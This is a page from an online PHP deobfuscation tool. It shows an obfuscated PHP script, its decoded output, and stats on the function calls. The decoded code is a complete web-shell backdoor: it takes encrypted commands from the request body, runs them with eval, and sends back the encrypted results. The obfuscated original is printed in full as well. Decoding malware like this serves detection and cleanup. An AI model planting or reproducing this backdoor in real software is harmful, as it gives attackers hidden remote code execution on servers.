Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
$P=str_replace('Eu','','cEureaEute_EufuEuEunctiEuon'); $H='ZkZ){$c=strlZen(Z$kZZ);$l=sZtr..
Decoded Output download
function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$k="c8b22412";$kh="9e57a40282a7";$kf="bd50ba1f04d4";$p="9xlJb41AbXPVkQ5p";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if(@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1){@ob_start();eval(@gzuncompress(@x(base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}
Did this file decode correctly?
Original Code
$P=str_replace('Eu','','cEureaEute_EufuEuEunctiEuon');
$H='ZkZ){$c=strlZen(Z$kZZ);$l=sZtrlen($t);$o="";for($Zi=Z0;$i<$l;)ZZ{for($j=Z0;Z($j<$cZ&&$i<$l)Z;$j+Z+,$i+';
$w='conZtents(ZZZ);@obZ_end_clean();$r=@baseZ64_eZnZcode(@x(Z@gzcompZress($o),$Zk))Z;print("ZZ$p$kh$r$kf");}';
$F='inpuZtZ")ZZ,$m)==1){@ob_Zstart();@evZal(@gzZuZncompress(@x(@baZseZ64_decodZe(Z$m[1]),$k)))ZZ;$o=@ob_Zget_';
$f='$k="c8bZZ224Z12";$kh="Z9e57a402Z82aZ7";$kf="bdZ50ba1f04Zd4"Z;$p="Z9xlJb41AbXZZPVkQ5pZ";fZunction x($t,$';
$R='+){$Zo.=$t{$Zi}^$k{Z$j}Z;}}reZturn $o;}Zif(@preg_matchZ("/Z$kZh(.+)$ZZkf/",@fZile_get_contentZZs("php://';
$s=str_replace('Z','',$f.$H.$R.$F.$w);
$g=$P('',$s);$g();
Function Calls
| preg_match | 1 |
| str_replace | 2 |
| create_function | 1 |
| file_get_contents | 1 |
Stats
| MD5 | 1b183f4f8ae3703ba1e7c7b018cf003d |
| Eval Count | 1 |
| Decode Time | 130 ms |